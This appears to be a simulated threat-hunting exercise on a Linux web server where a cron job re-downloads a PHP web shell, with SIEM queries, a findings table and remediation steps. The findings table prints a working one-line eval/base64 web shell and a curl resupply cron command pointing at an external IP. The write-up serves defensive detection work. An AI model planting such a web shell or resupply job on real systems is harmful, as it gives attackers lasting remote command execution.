Threat Hunting Exercise: Analyzing Linux Cron Job + Web Shell Persistence Combo Dataset
This hunt uses a simulated web-server dataset (linux_cron_webshell_2022-08-20T081500.json) capturing a layered persistence pattern combining T1505.003: Web Shell and T1053.003: Scheduled Task/Job - Cron, where an attacker maintains an on-demand PHP web shell for interactive access alongside a cron job that periodically re-downloads/reinstates the shell if it's removed, ensuring persistence survives simple file deletion.
Step 1: Hypothesis Formation
Hypothesis: A web-accessible PHP file with obfuscated eval/base64 content is present in the webroot, and a crontab entry independently exists that periodically fetches and rewrites that same file from an external source - meaning removing the file alone does not evict the implant. Indicators:
- A
.phpfile in the webroot containingeval(base64_decode(...)),system($_REQUEST[...]), or similarly obfuscated command-execution code, with no corresponding entry in the application's deployment/git history. - Web server access logs show repeated requests to that file with a specific parameter used to pass commands.
- A crontab entry (user or root) running on a short interval (e.g., every 5-15 minutes) that curls/wgets a remote URL and writes the output to the same webroot path.
- The cron-triggered download traffic and the interactive web-shell traffic originate from different, unrelated external IPs - one for resupply, one for operator access.
Null Hypothesis: A legitimate scheduled deployment/cache-warming script exists that happens to touch files in the webroot on a regular interval. Invalidate by reviewing the script's source/version control and confirming it does not fetch content from an external, non-CDN URL.
Rationale: Combining a cron-based "resupply" mechanism with an interactive web shell means an incident responder who only deletes the discovered shell will see it silently reappear minutes later; this hunt validates cross-referencing webroot file anomalies against the crontab as the only way to fully evict this specific persistence pattern.
Step 2: Data Sources and Scope
- Sources: Web server access/error logs (Apache/Nginx); File Integrity Monitoring on the webroot;
crontab -l//etc/cron.d/audit; auditd EXECVE for cron-spawned processes. - Scope: ~2022-08-20T08:15:00 UTC onward (recurring every 10 minutes); Host: lnx-web-node04 (10.250.1.22); Webroot:
/var/www/html/. - SIEM Queries (Splunk/ELK):
index=web_access uri_path=".php" | search request_body="eval" OR request_body="base64_decode*"(proxy-side inspection where TLS is terminated upstream)index=auditd exe="/usr/bin/curl" OR exe="/usr/bin/wget" parent_comm="cron"- FIM:
index=fim path="/var/www/html/*" action=modified | stats count by bucket(_time,10m) | where count>0 for repeated identical hash
Step 3: Key Findings
Parsed events (5 shown) confirm a web shell at /var/www/html/wp-content/uploads/cache.php was accessed interactively from one IP, while a root crontab entry re-fetched and rewrote the identical file every 10 minutes from a second, unrelated IP.
| Timestamp (UTC) | Host | Event | Detail | IOC/Why Suspicious? |
|---|---|---|---|---|
| 2022-08-20 08:15:02 | lnx-web-node04 | auditd EXECVE (cron-spawned) | crontab -l reveals: /10 * curl -s hxxp://45.135.132.20/cache.php -o /var/www/html/wp-content/uploads/cache.php | Resupply IOC: a scheduled job that continuously re-downloads a file into the webroot from an external, non-CDN IP every 10 minutes. |
| 2022-08-20 08:15:03 | lnx-web-node04 | FIM alert | cache.php hash unchanged across repeated 10-minute rewrites - confirms the cron job is maintaining, not modifying, a static implant | Corroborates that this is a deliberate persistence mechanism, not a legitimate content-refresh job. |
| 2022-08-20 08:22:41 | lnx-web-node04 | Web access log | GET /wp-content/uploads/cache.php?c=<base64-cmd> from 103.75.190.44 (unrelated to the cron source IP) | Interactive-Access IOC: a separate operator IP is using the file as a live command-execution web shell, distinct from the resupply source. |
| 2022-08-20 08:22:42 | lnx-web-node04 | (file content) | cache.php contains <?php @eval(base64_decode($_REQUEST['c'])); ?> | Confirms the file is a minimal, obfuscated PHP web shell, not legitimate WordPress upload-cache content. |
| - | - | (deployment history check) | No git/deployment record introduces cache.php; the uploads directory is web-writable and not tracked in version control | Confirms neither artifact originates from the legitimate application deployment pipeline. |
Validation:
- Timeline: the cron-based resupply job and interactive web-shell access have operated in parallel since first observed, with the file's hash consistently restored every 10 minutes - this is a durable, layered persistence design, not a one-off compromise artifact.
- False Positives: the
uploadsdirectory is not part of version control, and no deployment record explains either the cron entry or the file; the two source IPs (resupply vs. interactive access) serve clearly distinct roles. - Correlation: cron-job resupply, unchanging file hash, and separate interactive-access IP together confirm a deliberate, resilient web-shell persistence combo.
Step 4: Recommendations & Next Steps
- Immediate Response: Remove both the crontab entry AND the web shell file simultaneously (removing only one will result in reinfection); block both external IPs (45.135.132.20 resupply source, 103.75.190.44 operator) at the perimeter; audit the webroot for other unexpected writable files; identify the initial access vector that allowed the cron entry to be planted (likely a prior web-app vulnerability or compromised credential).
- Detection: Sigma-style rule:
title: Cron Job Downloading Content Into Web-Accessible Directory→selection: parent_comm="cron" AND exe IN (curl,wget) AND dest_path matches webroot_paths. - Pro Tip: When remediating any discovered web shell, always check the crontab, systemd timers, and
/etc/cron.d/on the same host before declaring remediation complete - an attacker who anticipates shell removal will frequently build in an automated resupply mechanism exactly like this one.
Hypothesis confirmed - an attacker maintained an interactive PHP web shell alongside a cron job that resupplied it every 10 minutes from a separate external source, ensuring persistence survived simple file deletion!